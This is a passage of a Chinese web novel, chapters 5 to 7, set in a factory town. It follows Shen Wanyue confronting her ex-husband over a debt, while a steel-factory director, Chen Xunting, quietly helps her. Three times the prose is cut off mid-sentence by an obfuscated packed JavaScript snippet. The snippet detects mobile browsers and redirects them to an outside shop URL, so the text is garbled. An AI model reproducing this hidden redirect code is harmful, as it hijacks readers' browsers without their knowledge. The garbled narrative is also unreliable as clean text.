沈晚月看着对面的纺织厂,准备先去躲躲雨,可刚迈开脚就觉得眼前一黑,只能迅速的伸手先扶住树干。 粗糙的树干重重印在她的手上,白皙的肌肤上迅速泛起浅浅的红印。 “同志。” 迷迷糊糊中,沈晚月感觉到有人站在了自己的前面,一片雨落的沙沙声,却感受不到雨打在身上。 “你好同志,这伞你拿着。” 她缓过神,这才看见一个年轻小伙子站在自己面前,替自己撑着一把黑色的伞。 她想说不麻烦别人,可此时也不是客气的时候,等会儿还得见顾家人,太狼狈也不好看,干脆先接了过来。 “谢、谢谢。” 沈晚月抬头时,微微打湿的碎发在脸颊间贴着,正好覆在眼尾那颗泪痣上,明明只是抬眼道谢,眼睫卷翘着,却像是勾人般娇媚。 “……” 这女同志……真好看啊。 来人心里暗自感叹着,开口道:“是我们领导让我给你送来的,你不用有心理负担,这是雷阵雨,前一段最闷的时候时常要下,等会儿就停了。” 听他这么说,沈晚月这才注意到来人身后的马路边上,停着一辆黑色的小轿车。 沈晚月有些意外,但还是先点了头:“替我谢谢你们领导。” “嗯,那同志你先在这里躲雨,记得拿伞就别站在树下了,容易触电。” “好,我等会儿怎么把伞还给你们。” 只是触手拿着,沈晚月就感受到这伞质量不错,在乡下,十里八村可能才能找到一把尼龙伞,这种质量的伞恐怕不便宜,不对,可能拿钱都买不来。 “等会儿放到前面的厂房门岗那儿就行,我下了班回来拿。” “好。” 来人只有一把伞,回去的时候只能用手挡着小跑到了轿车前面坐进去。 “厂长,已经送过去了。” “嗯。” 隔着窗户,外面的人并不能看清楚里面。 陈勋庭的目光不远处的女人身上。 刚才剪彩结束,他出来的时候一眼便又瞧见了这个上次在火车站旁见过的女人。 她的漂亮跟别人很不一样,细雨朦胧间,那双眼睛仍是那样招人。 细密的水雾好像给她蒙了层白纱,可精致的面容却依旧轮廓清晰。 只是似乎是身体不舒服,刚才大概有些中暑,这会儿又一个劲儿的小心拍着自己的胸脯,白嫩细长的手指轻轻落下又起来,衣衫也跟着起起伏伏。 她的衣服有一部分被淋湿了,轻薄的棉布料子过了水便更显轮廓,姣好的身型也隐隐绰绰着颤动。 陈勋庭呼吸一窒,迅速收回了目光。 “把人喊上来。” “……啊?” “去。” 小王茫然的看了眼后视镜,却看不清厂长的表情,连忙应了一声后,便又开了车门。 小王小跑着过去跟她说话,她当然很诧异,还摆手拒绝了。 陈勋庭反而松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208097|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 平白无故被喊上车,应该是觉得自己是坏人。 有警觉性,正常。 可两人不知道又说了些什么,她竟然真的跟着过来了。 陈勋庭一顿,两人已经走到了跟前。 “厂长,她……” “坐前面去。” 依照领导指示,沈晚月听话的坐到了前面。 她本来是不想再麻烦别人的,可一听是厂长要帮忙,也就不客气了。 一个厂长总不能是坏人,况且这车就停在纺织厂前面,肯定是纺织厂的厂长,这可是原书中女主的亲爸。 书里写这位老厂长人特别慈祥和气,是个有善心有理想抱负的老一辈革命人。 只是沈晚月没想到,老厂长竟然连她一个路人都会选择帮忙。 沈晚月感叹着,就看见身后扔到前面了一个毛巾。 毛巾上的吊牌还没有去掉,应该是纺织厂里拿的,布料织的细密又柔软。 “谢谢厂长。” 沈晚月道了谢,却没有听到回应。 也正常,像这种大人物,话肯定不会像沈立民那么多。 她擦拭着衣服跟湿漉漉的碎发,车外倾盆大雨,声音掩盖下,倒也没有显得很尴尬。 “来工作的?” 声音这么年轻? 沈晚月刚才并没有见到老厂长的样子,有雨再加上车窗黑漆漆,她也不好意思凑到中间的后视镜去往后面看人家资历深厚的老同志。 “不是,是来找亲戚。” 沈晚月一顿,忽然坏心思的想到什么。 大渣男不是喜欢认表妹吗? “厂长,我是来找纺织厂顾清树的,他欠我家里点钱,说是工作几年再还,结果这都好久了也没个动静,家里就让我们兄妹过来问问到底怎么回事。” 给大渣男老丈人面前上完眼药,沈晚月心情舒畅了。 她可没有破坏规则,谁让顾家没有按时来的。 司机小王在旁边皱起眉:“顾清树?” 沈晚月点点头。 这位应该是老厂长的秘书,大概也知道顾清树是厂长的女婿,看这表情估计在疑惑为什么他会欠钱。 “对,这位同志对他有印象吗?”沈晚月故意问道。 她转过头,认真的看着小王,小王脸上莫名一热,不好意思的摇头:“我来的时间不久,还没有把人认全,不过……” 小王心里动了动。 任谁被这样一个漂亮女同志盯着,总是容易坏了自己的原则。 况且也是领导最先想着要帮这位女同志的。 小王又年轻,便没忍住:“我们等会儿也要去纺织厂,看你刚才好像不舒服,要是你去,恐怕只能在门岗房外面等,要不你跟我们一起?” 说完,小王又紧张的看了看后面,“厂长,要不咱们帮人帮到底?” 陈勋庭脸色已经淡了下来,惊得小王心里于是一阵紧张,自己是不是有些冒犯了?毕竟他就是一个厂长身边刚来的秘书助理。 可陈勋庭顿了顿,半晌过去,‘嗯’了一声。 沈晚月自然也看出来最后还是得听厂长的意思,只是不知道厂长为什么没有直接说他是自己的女婿,难道是为了面子? “老厂长,真的很感谢您。” 沈晚月身上衣服快干,将毛巾折叠好以后,转身准备放回去。 这一转头,就落入了后面男人的眼眸里。 “……” “?” 老、老厂长呢? 女主命这么好,有个爹长这么帅,还这么年轻,这爹几岁的结的婚啊? 沈晚月脑子一时间有些宕机。 电光火石之间,沈晚月忽然想起来什么。 刚才的小同志是说是厂长让喊她上车,却没说过是哪个厂,她自己看到车停在这边,就下意识以为是毛纺厂的孟厂长。 可今天,好像沪市第四炼钢厂的厂长也在。 5. 第 5 章 其实也不算认错。 沈晚月试图安慰自己。 刚才他的人也没说到底是哪个厂长,自己也没看到人,只能说是凑巧了。 凑巧自己知道纺织厂厂长是女主的父亲,凑巧…… 凑巧这位炼钢厂的厂长竟然会愿意主动帮自己。 不过,相比于认错人,沈晚月更可惜给大渣男上眼药没上成功这件事。 倒是陈勋庭,淡漠的眼神这会儿有一丝裂开。 他毕业后就进了厂里,从基层做起,一步步学习累积经验提升自己。 这么多年,他工作的时间几乎占据了全部的生活,厂里办公室甚至有他单独休息的地方,很多时候休在厂里或者外地出差,反而家里冷冰冰的没什么人气儿。 相比工作,他从来不是个在乎年纪的人,可是…… 什么叫‘老’厂长? 他确实年纪也不算小了,再加上有两个孩子,家里长辈都整天说他显得老气横秋,但他这个年纪,也不能说是老吧,至少……也得称之为壮年。 嗯。 陈勋庭心里起了波澜,看着女人递过来的有些湿漉漉的毛巾。 “小王,收起来。”他淡淡吩咐。 “好的厂长。” 沈晚月听不出来男人的具体情绪。 转身时匆匆一眼,只觉得这个男人很年轻稳重。 他穿着正领的的确良短衫,侧面能看出来胳膊上若隐若现的肌肉轮廓,五官俊朗,就算是跟明星比起来也毫不逊色。 而且因为长相过于正派,还是电视剧中老干部形象的男主角色,只是那双剑眉下的眼眸里,流露着疏离跟冷峻。 也是,谁都不喜欢被人说老。 沈晚月很理解的开口解释:“不好意思,刚才这位同志只说是厂长,我还以为您是毛纺厂的那位老厂长,冒犯了。” 过了会儿,才传来男人低沉的声音:“雨停了。” 沈晚月下意识侧目,果然见外面雨竟然淅淅沥沥的小了许多。 就这么盯着看了一分钟,刚才瓢泼般的大雨,此刻已经渐渐收了势头,乌云散去,天晴朗起来。 “走吧。” 小王瞪大眼睛,“是,是带这位女同志一起进去吗?” “嗯,顺路。” 沈晚月摸索着,正在想办法打开这种老式的车门,下一刻,门就从外面被打开。 “同志,厂长同意了,咱们走吧。” 沈晚月下了车,看向后面:“我弟刚才去帮我接水了,我等等他。” “啊,要很久吗?” 小王从兜里掏出来一个塑料制成的电子表,“厂长等会儿还有事情,这已经耽误不少时间了,要不我去交代一下门岗,等你弟弟来了跟他们说一声进去找你就行,你叫什么名字,你弟弟叫什么名字,有什么特征。” 沈晚月想着自己先进去也行,省的到时候顾清树交代过门岗房再躲着自己不是白跑一趟了,于是点头就答应了。 “我叫沈晚月,他叫沈立民,他穿着白色汗衫手里拿着个水壶。” “行。” 跟在小王身边,沈晚月就这么理直气壮的进了纺织厂的办公楼。 知道炼钢厂的厂长过来,很快就有人小跑着过来迎接,没走几步,发丝斑白的老厂长也迈着快步亲自走了出来。 同是厂长,行政职级是不同的。 陈勋庭身为副部级,若非是念着孟国富是资历深厚的老同志,出于尊重,不然也不会在参加过欢迎仪式后,再特意过来拜访。 “陈厂长!” 上了年纪的孟国富主动的低下肩膀跟陈勋庭握手,笑眯眯的,语气和善又尊敬,“年初那会儿说要整合工业区产业链,咱们国家建设速度就是快,还以为得等到年底你那边才能建好,没想到还没到八月就跟你在这个区见上面了,应该我先去参观参观,这正准备过去呢,陈厂长年轻,脚步就是快我这个老年人一步,等会儿要不一起去吃个饭,也叙叙旧,以前我跟你家长辈也曾有过交谈。” 这话说的好。 夸了祖国假设,感叹了陈勋庭的年少有为,还不忘再暗暗的抬高自己这个老同志的资历一把。 能混到厂长这个位置的,说话弯弯绕绕,都是人精。 沈晚月从前的工作经常需要跟这些人打交道,倒是能弄明白这些小心思。 就是吧,听着累人了点。 沈晚月以为自己要站在原地跟着听好一会儿俩人明里暗里的交锋,可谁知,这位年轻的厂长却跟自己想的完全不同。 陈勋庭:“您是资历深厚的老同志,于情于理,也都该我先来拜访您,吃饭就不不必了,咱们进去聊吧,我来还有另一件事跟您商议,是上面的任务。” 他向来不喜欢那些虚与委蛇的套话,而是更看重能力。 “陈厂长果真是大家都说阔利的人,没问题,事情重要,咱们先去办公室。”孟国富收回胳膊,笑着答应。 走之前,陈勋庭转身从小王手里接过手提包,示意了一眼旁边的沈晚月,这才进去。 小王心领神会,招呼着沈晚月超另一边走去。 “同志,这厂里加起来得上千号人,你要找可以先去人事部问一问,我带你过去以后,再回来找厂长。” 沈晚月道了谢,忍不住问:“小同志,你们厂长挺厉害的,看着年纪不算太大,居然已经是厂长了。” “那是。” 小王忍不住骄傲的挺起胸,“别看我们厂长才三十岁,在那么多厂长身边算年轻,但他的资历可深着呢,而且还是出过留学过的高材生,当年初来乍到,就搞定了厂里一次硬件故障事件,是有真才实学的人,我虽然刚参加工作,但没少听身边人说我们陈厂长的事迹。” 沈晚月也对这个陈厂长印象不错,除了瞧着人冷冰冰的,不过是个好人,附和了两句,就到了人事部。 人事部的人知道小王是陈厂长带过来,很热心的迎过来帮忙。 小王:“是这位女同志需要找个人,同志,我还要回去,就不陪你了,咱们有机会再见。” “好,谢谢你,也替我再谢谢你们陈厂长。” “诶。” 等小王离开,人事部的人翻看着员工名单,“女同志,你要找谁?” “我找顾清树。” “……” 闻言,人事部的人愣了下,缓缓抬头笑了,“那真是不巧,你走错方向了,顾主任这会儿应该在厂长办公室。” 被这么一提醒,沈晚月恍然想起了此时的顾清树,已经因为能力出众的原因,被提拔成了车间主任,只是其中有没有厂长女婿这个缘故就见仁见智了。 “姐。” 从人事部出来,沈立民也找了过来。 “他们说你在这边我就赶紧跑过来了,你怎么样?刚才有没有淋雨?淋雨了有没有不舒服?” 沈晚月又乐了,“你怎么不问问我怎么突然就能随意进纺织厂了?” “啊?哦哦哦,这不是想着你身体重要吗,那姐你为啥能进来了,不是说只能在外面等吗?” 沈晚月将刚才的事情大致讲了一遍后,沈立民一边点头,一边不忘把自己接来的水给沈晚月。 “姐,我给人了一分钱叫加了点白糖,以前你头晕就得喝点甜水,你赶紧喝两口,别一会儿又难受了。” “嗯。” 沈晚月接过来喝了两口,沈立民看她这会儿精神状态确实好多了,这才擦了把脸上的汗,松了口气。 “这个王八羔子,还混成领导了,以前在乡下的时候,他连个算数都算不好,一个大男人整日扭扭捏捏,我不信他没走后门!” 沈晚月抱着茶壶,“当了领导他更怕出事,走吧,过去找人。” - 厂长办公室。 “怎么找不到了呢?我记得放在这边了……” 办公桌后面除了书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208098|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架,还有两个很大的档案柜子,用来存放材料。 顾清树在档案柜前急的抓耳挠腮。 孟国富在旁边坐着,随着时间的推移,脸色越来越难看。 他对面坐着的陈勋庭脸色仍旧淡淡,只是身前的茶连热气都没了,他也没有动一下。 ‘咣当’一声,因为着急,顾清树甚至把档案柜里的一排书全部碰倒了。 孟国富:“……” 顾清树手忙脚乱的连忙去收,结果自己脑袋反而还被打开的柜子门打了一下,疼的龇牙咧嘴。 “行了。” 陈勋庭的声音听不出情绪,但人却已经站了起来,“炼钢厂那边等会儿还有个会,既然暂时找不到,那就等找到了以后麻烦孟老厂长的人送过去咱们再聊合作的事情吧。” 顾清树更急了,擦了擦汗:“陈厂长您再稍微等等我,我马上就找到了,很快……” “咳咳。”孟国富清了清嗓子,连忙打断了顾清树。 转而,孟国富挤出一个笑来,看着眉头已经皱起来的陈勋庭,连忙道:“我明白陈厂长事务繁忙,那我让人送你出去,等会儿找到了一定及时把材料给送过去。” “嗯。” 陈勋庭抬脚就走,走到门口时,屋里便传来了孟国富骂人的声音。 “眼瞧都一个月了,你还没摸清楚怎么把事儿办明白,顾清树,你的脑子多放点时间在工作上,也不至于连个文件都能弄丢!” 陈勋庭脚步顿住,转过身:“这位车间主任就是顾清树同志?” 孟国富一愣,掩着脸上的厌烦,忙说:“陈厂长这是……” 小王在旁边解释:“那刚才的沈同志要跑空了,她要找的就是这位顾清树同志。” 闻言,顾清树手上的文件‘哗啦’又落了一地,整个人呆愣愣的站在原地,刚才已经出汗的脸一阵黑沉,眼神带着怨恨,只不过手却在紧张的抖动,似乎还有些害怕。 怕? 陈勋庭眼神冷峻,从顾清树略带惊恐的脸上扫过去。 “那还真是不巧。”孟国富顿了顿,忽然问:“刚才那位沈同志是咱们陈厂长的……朋友吗?” 小王看了眼陈勋庭,这才说:“是刚才偶遇的群众,我们厂长听说她要找欠钱的亲戚,看她身体不舒服就顺便帮个忙。” 孟国富心里暗自松了口气,还以为是朋友呢…… 孟国富还要说什么客套话时,再去看陈勋庭已经转身大步离开了。 陈勋庭平时的时间都是提前安排好的行程,这边耽误一会儿,那边就要晚一步,他没这个时间耽误。 而在没人看见的地方,再次蹲下捡文件的顾清树也沉重的松了口气。 幸好沈家还算有点脑子,只说是来找亲戚的,不然事情就彻底完蛋了。 孟国富见陈勋庭走远了,转过身脸色黑沉:“赶紧把东西收拾好,再去把你家的什么穷亲戚给打发了,工作工作办不好,现在连亲戚都找到厂里来了,你当我这儿是什么?是你家住的破亭子间?什么鸡狗都能来!” “爸,您消消气。” 顾清树手忙脚乱收拾着,一边安抚,“我也是没想到陈厂长今天忽然过来,事发突然我又着急,这会儿才想起来负责供应链的工人名单我放在车间的办公室了,我马上就过去让人给您送过来。” “蠢货!”孟国富气的不打一处来,“这次能跟炼钢厂共享运输链算是合作共赢,咱们也节省一部分资源,不知道能省下来多少钱,陈厂长能同意已经算是看在我老同志的面子上了,要是因为你出岔子你就别干了,婉婉来求情都没用!” “诶诶,我知道了爸,您放心肯定不会耽误,我这就去,送完乐顺便再打发一下亲戚。” 顾清树合上柜门,脚步匆匆赶了出去。 刚才还诚惶诚恐的脸,出了门便立刻阴沉下来,他想着先回车间拿材料,却不想,才下楼就看见了个已经在记忆力模糊的背影。 6. 第 6 章 “不好意思沈同志,我要是知道你找的人在厂长办公室,也不会再带你去人事部,害你多跑了这么一段路。” 楼梯口,沈晚月再次遇见了要走的陈厂长。 “怎么能这样讲,你们愿意带我进来已经很好了,如果在外面等,还不知道能不能找到人。” 沈晚月笑着跟小王说话。 她笑起来的时候,眼尾一点红色的泪痣跟着轻晃,明晃晃的太阳下,好像夏日里漂亮的樱桃,娇艳又明媚。 真是好看啊。 小王心里再次暗暗想,想完了,脸上又一热。 这也太冒犯这位女同志了,可他年纪小,实在是把控不好自己的情绪。 “刚下过雨就又闷热的厉害,小兄弟你擦擦汗?”沈立民贴心的将自己的棉布手巾递过去。 小王脸上更热了,将目光从沈晚月脸上挪开,吓得连连摆手,“我、我没事,可能是刚才下楼梯跑的了,那什么,我过去了。” 刚才遇见,陈勋庭只是点头示意后便坐到了车里,留下小王跟她们说话。 小王告诉他们自己在楼上看见顾清树,就掩着滚烫的脸颊离开了。 “沈晚月!” 沈晚月目送小王刚上车,就听见身后的人在喊自己。 还不等沈晚月说话,沈立民先一步警惕又恼火的挡在了姐姐面前。 “顾清树,真的是你啊,真是好久不见。”沈立民手里的拳头捏的骨头都响了,咬牙切齿忍着火气,“你这个缩头王八,终于是让我们找到你了!” 如果不是身后站着姐姐,沈立民毫无疑问是会动手的。 先来一记左勾拳,再来两个窝心脚,最后一招猴子偷桃,把这个王八羔子给当场废了,实现真正的烂裤/裆! 几乎是瞬间,沈立民已经想好了怎么把眼前的顾清树干翻,何止是厌恶啊,他恨不得这个人去死! 死了也不够,野狗再来把他给啃啃还差不多! 这种强烈的仇恨,从沈立民颤抖的后背,传递给了身后站着的沈晚月。 原身的恨意,原身义无反顾去死时的恨意,一定比此刻的沈立民只多不少。 楼梯上还站着的顾清树显然也感受到了强烈的敌意。 看着沈立民瞬间因为生气发红的眼眶,顾清树刚才的那点怨恨硬是被吓得散去大半。 他可不想挨打。 “冷静一下,你们俩。”顾清树清了清嗓子,按住有些害怕而颤抖的手指,“咱们照个地方慢慢说,别在我的工作场所太显眼。” 沈立民啐了一口,“去你娘的吧!你现在有什么立场跟我们讲条件?” “不是跟你们讲条件……” 顾清树紧张的看看左右,这里都是办公室,并不隔音。 顾清树:“刚才听说你们借口是来找亲戚,我知道你们也不是要置我于死地,咱们有些话也不好当着太多人说,不就是头些年欠了你们一笔债吗,我答应了就肯定还,咱们别吵着别人,去外面说吧,我一定给个交代。” “顾家的交代就是几天不见人吗?” 绵柔的声音想起,沈晚月侧身看着顾清树开了口。 只这一眼,便叫顾清树心脏漏跳了一拍。 五年过去了,她还是这么漂亮,这么的……美妙。 当年,顾清树第一眼见到沈晚月时,是她抱着麦子站在田埂头时的样子,金灿灿的秋阳下,她镀了光神女一般降临,只是简单的动作,身段曼妙的恍如是武侠小说中的妖女,像神又像妖,读书多年的顾清树,终于看到了书中文字成真了。 “你……”顾清树情不自禁走上前,“你还好吗?” “把你欠的钱给了会更好。”沈晚月神色淡漠。 她远没有沈立民那么大的恨意。 甚至也没有怨气。 她看着顾清树,像是在看一个陌生人。 准确说,还不如陌生人,像是……在看一只狗。 顾清树忽然明白了母亲的话,她好像真的对自己不在意了。 莫名的,顾清树有一瞬间的难受,心脏像是被锤打了一下,闷闷地,好似要憋死在这空气里。 “当初……当初我的选择是有原因的。”顾清树情不自禁开始解释。 那时候刚结婚才三天,顾清树就接到了父母的来电,前途跟女人,他肯定选择女人,更何况,他一开始是想着接沈晚月进城的。 只不过,只不过沈晚月对他而言实在是太落后了……他有了工作进了厂,见了太多的女人,没有一个比沈晚月漂亮的,她们都不如她,可她们的家庭背景,却都远胜于她。 该怎么选择,顾清树也纠结过。 直到他认识了孟婉,认识了这个厂长的女儿,这时候的问题,就立刻从选择,变成了怎么甩掉沈晚月。 顾清树想,就算是天王老子来了,也不会为了一个乡下女人,放弃未来吧。 “晚月,你最善解人意了,你应该可以理解我的选择的,我并不是有心,只是形势所迫。”他还是想要解释。 想从沈晚月脸上看到哪怕一丝的在乎。 “她们说你想不开过,我真没想过会有这么严重的后果,好在你现在没事,我当初如果知道会这样,一定要当面去给你解释清楚地,我是真的……” “说完了吗?”沈晚月淡淡打断了他,甚至还想打个哈欠。 “说了半天,想逃避还钱?” “我不是这个意思。”顾清树一着急,又走近了一步。 沈立民皱着眉,强硬的往姐姐身前又站了站,“你他妈的注意点,少跟个癞蛤蟆的往旁边蹭。” 顾清树终于皱起眉:“三弟,你怎么说话还是这么难听。” “少套近乎,谁是你弟,老子是你爹!好儿子,赶紧还钱,钱还了谁还乐意来找你,把自己当成什么香饽饽了?真是癞/□□不知道天高地厚,狗屁不是的东西,烂心烂肺下地狱的王八蛋,烂菜叶子都比你干净,身上的骚/味狗闻了都得把隔夜饭吐出来三两到你身上……” 顾清树:“……” 顾清树被骂的脸真绿成了王八,憋屈的喉咙梗着难受。 沈晚月倒是听得高兴,甚至忍不住想给沈立民刷个小跑车赏他再骂一小时。 “行了!” 顾清树看着沈晚月眼神里带笑的嘲讽,面子终于挂不住,“走吧,咱们去外面说!沈立民,你再厉害,别忘了这是我的地盘,这里面也都是我的朋友。” 威胁的意思终于是流露出来了。 可沈晚月丝毫不在慌的,他要动手早动了,不还是怕闹起来事儿被厂里人知道。 还没等沈晚月开口说自己,一个小心翼翼的身影小跑着走了过来。 “沈同志。” 小王笑眯眯的站住脚步,“这个你拿着吧。” 沈晚月一怔,低头看,发现是刚才自己用过的雨伞,“小王同志?你怎么没走?这已经不下雨了,没事的。” 小王:“沈同志是外地来的不知道,我们这儿这几个月份雨会非常频繁,你们过来肯定没准备,拿着吧。” 沈晚月心知那尼龙伞可不是便宜货,“这不行,我不能收,谢谢你的告知,等回去我们再买伞就是了。” 小王:“那万一回去路上又有雷阵雨呢?这是我们厂长的意思,沈同志你就收下吧。” 闻言,沈晚月转头去看远处的黑色小轿车。 车窗开着,但里面坐着的男人却在低头看文件,一副事不关己的样子。 “姐,他说的有道理,这样咱给他钱吧。”沈立民说话就要掏兜。 尼龙伞有钱都不见得能买来,沈立民不懂这些个,旁边的顾清树却看得明白。 顾清树:“你买得起吗?” 沈立民斜着眼瞪了过去,“我买不起,你能买得起,你不是欠我们钱吗,把伞买了!” 顾清树:“……” 他想说凭什么,可小王居然也看了过来。 “顾主任啊,刚才我们厂长听说了这事儿,他说你也算半个干部了,欠群众的钱是犯错,我看你尽快把钱还了吧,别为难你亲戚了。” 顾清树从没有哪一刻像现在这么憋屈。 可……小王是陈厂长的人。 陈厂长,这可是高级干部,就连自己岳父都要对他礼让三分,看他的脸色说话,自己在他面前那是真的连个屁都不是。 “这其中有误会。”顾清树解释。 沈立民哼了哼,“你就说欠不欠吧!” “……欠。” “欠了就拿钱买伞!” 无奈,顾清树硬着头皮拿了十块钱出来。 小王倒是丝毫不跟顾清树客气,接了过来:“工业票就不用给了,沈同志,你拿好,再有事情了可以去……去隔壁找我,我先走了。” 不知道小王怎么这么客气的沈晚月朝他挥了挥手。 这时候才发现,车里那个刚才看文件的男人已经抬起头,穿过小王的身影,正看过来。 男人眼神一如刚才第一次见面时的冷峻。 可沈晚月对他却没了刚才那般疏离。 这厂长人不错,知道帮助困难群众,看来组织里还是好人多啊。 沈晚月顿了顿,眉眼弯下来,笑着也朝男人挥了挥手。 男人没什么反应,见小王过去,目光便又落到了文件上。 等黑色轿车开走后,顾清树咬着牙,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈晚月叹了口气,甚至目光带着几分可怜:“我为什么要让孩子纠缠你?是立民没说清楚?需要我再重复一遍?你不配,顾清树,你不配有孩子,孩子是我的,账清以后立字据,再无瓜葛。” “好,说话算话!”顾清树深吸一口气,“放心,你的条件三天内给你解决,你既然这么狠心,我也只当从前什么都没有发生。” “本来也没发生什么。” 沈晚月淡淡说完,招呼沈立民走人。 原身也算是倒霉,睡了一觉就有了俩双胞胎娃,可说到底,不就那一‘哆嗦’的事儿嘛,算个屁! “姐,你要哭,回去了我给你抱着哭。” 走远了以后,沈立民突然冒出来这么一句。 沈晚月一怔,笑了,“立民,我是真没当回事。” “哇,姐你现在好想得开!就是就是,不就是个臭男人嘛,等你弟有钱了,给你安排个三宫六院的,你看过鹿鼎记吗姐,到时候你就当那个韦小宝女版的。” 沈晚月:“……” 她倒是也没有这么开放! 其实在现代,她也就谈过一次颇为纯爱的校园恋情。 只是都走的纯爱风,后来也都不了了之。 但,没吃过猪肉,她还没见过猪跑? 影像资料看得不多,小说那她可是十分精通,各种姿势也都略有眼‘闻’…… 咳咳,总之,她并不把原身这个前夫所谓的情分当一回事儿就对了。 解决完这事后,姐弟俩回去之前又去了趟供销社,除了日常一些东西,还有两个孩子需要的东西得买,从供销社出来的时候,刚才好好地天色,果真又下了一场雨。 这次的雨跟上午不同,从瓢泼大雨,慢慢转成了小雨。 淅淅沥沥的,竟是下到了晚上。 “厂长,您今天跟老爷子约好了回家吃饭,就别回自己的院子了吧。” 小王撑着新伞,送陈勋庭上了车,自己这才坐到了前面准备发动车。 陈勋庭看着外面连绵不绝的雨势,心思竟是再次落到了上午,那个女人站过的地方。 “嗯,直接去老爷子那儿。” “明白。” 小王看着眼前的雨,心里也忍不住感慨,幸亏厂长心细,把伞留给了那位沈同志,不然沈同志又得淋雨了。 不过他却忘了,为什么一向对谁都不关心的厂长,竟然会这样主动照顾一位女同志。 但也无可厚非,谁让小王才刚来一年,在厂长身边工作也才一个月。 “你说什么?” 身后低沉声音响起,小王一愣,反应了过来。 他咋就一不留神,把心里话说出来。 7. 第 7 章 “我说还是厂长您考虑的周全,要不那个女同志又得淋雨。” 说完,小王从后视镜小心翼翼的打量着后面。 只是天色已经黑下来了,陈勋庭本就莫测的神情在昏暗环境中,更加难以看清楚。 “厂长。”过了会儿,小王忍不住,试探着又说:“其实之前我来给您开车之前,常听人说……说您是个,是个刚正莫测的大人物,但是我感觉吧,您只是注重工作,而且也很会替下面的群众着想,您……是个好领导。” 陈勋庭仍是没说话。 其实小王说的还是太含蓄了。 刚来跟着陈勋庭的时候,小王其实是害怕的。 厂里人都说,厂长是个狠角色,对上刚直有独到的见解,对下有铁血手腕也能以理服人,技术层面他是留学归来,人际方面,他性格虽冷,但背景雄厚,再加上能力实在出众,多的是人想在他面前哪怕只是混个脸熟。 这样一个方方面面都优秀的男人,冷峻也罢古板也罢,他都已经足够优秀了。 但是这一个多月下来,小王渐渐发现,其实陈厂长也并没有那么可怕。 至少,在你没有犯错的时候,他没有多余的心思搭理你。 他的全部生活几乎都在工作上,甚至连家庭都只能分得少的可怜的关注。 想到这里,小王忍不住替厂长操心。 厂长已经三十了,谁家男人这个岁数都已经老婆孩子热炕头了,可陈厂长家里还是冰冷冷的一个院子,唯一亲近的,也就只有爷爷奶奶了,但因为工作忙,去探望的时间也不多。 倒是有两个一年前收养的孩子,可厂长脾气可不讨孩子喜欢,日常用度一应不缺,但他跟孩子也不算亲近。 “走错路了。” “……” 小王手放在刹车上,回过神来。 刚才经过一个岔路口,本来该转弯的,他因为走神却一直走了。 “王小海。”陈勋庭少有的喊了小王的全名,语气冷的人害怕,“你知道开车走神,是很严重的错误吗?” 小王:“……知道,我错了厂长。” “有些错误可以挽回,但这种跑神的错误,很容易酿成大错。” “……厂长,对不起。” “你中专学什么专业的?” 小王已经瑟瑟发抖起来,慌乱开口,“是,是汽配,我腕骨受了伤不能再下车间,然后之前您说我理论知识不过关,就让我现在您身边学习顺便给您开车。” “上学时候什么课最无聊?” “啊?《工程力学》,都是概念跟理论,所以就……” “抄一遍。” “……???” “抄完了拿给我看。” “……好的厂长。” 小王现在一整个人都丧丧的了,刚才他在心里说厂长一点也不可怕来着,他错了! 犯错的时候,厂长最可怕了!! 很快,车停在了一处外表装潢就十分精致的洋房面前。 小王是本地人,他知道这里以前是租界,后来和平了,这里先是被空置,政府接手后一部分就地改装成了退休老干部的住宅,这里,是他从前想都不敢想的房子。 雨仍旧没停。 小王下车给陈勋庭撑伞,雨滴落在伞面上,两人刚走出去两步,陈勋庭转而想起来什么,又退了回来。 小王立刻明白,“我去拿。” 他从后座拿出了今天纺织厂送的一盒礼品毛巾,这毛巾算是高档货,上面还绣了吉祥如意的字,寓意很好,老人家一定喜欢。 “你还知道回来,小兔崽子!” 门刚打开,就听见楼上一声中气十足的呵斥。 小王把人送进去就离开了,等明天再过来接他,陈勋庭自己拎着礼品盒,随手放到了客厅桌子上。 “爷爷。”陈勋庭恭敬的示意,又说:“跟您二位约好的日子吃饭,我自然要回来。” 顿了顿,陈勋庭看了眼礼品盒:“上次奶奶说毛巾用完了,本来说要买,今天炼钢厂搬迁,旁边的纺织厂孟厂长拿过来的。” 陈铁军拄着拐走下楼,满鬓斑白的老人家却气势十足,昂首挺胸的像是在走军步。 他身后,张秀卿也跟着走了下来,跟老伴不同,张秀卿瞧见大孙子,就满眼笑意。 “这雨下这么大,你打个电话说改天也行,我知道你工作忙,那厂子里一天到晚的都是事儿,我们俩人老了,别管我们就行。” 陈勋庭摇摇头:“奶奶我没事,我去厨房摘菜,等会儿给您二位做饭。” “你歇着,下午你喊人送来的菜我都处理好了,等会儿让老马炒一下就成。”张秀卿说着,又瞪了一眼陈铁军:“你少给孙子使脸色,一天天就你脾气大。” 陈铁军冷哼了一声,独自坐到了沙发上。 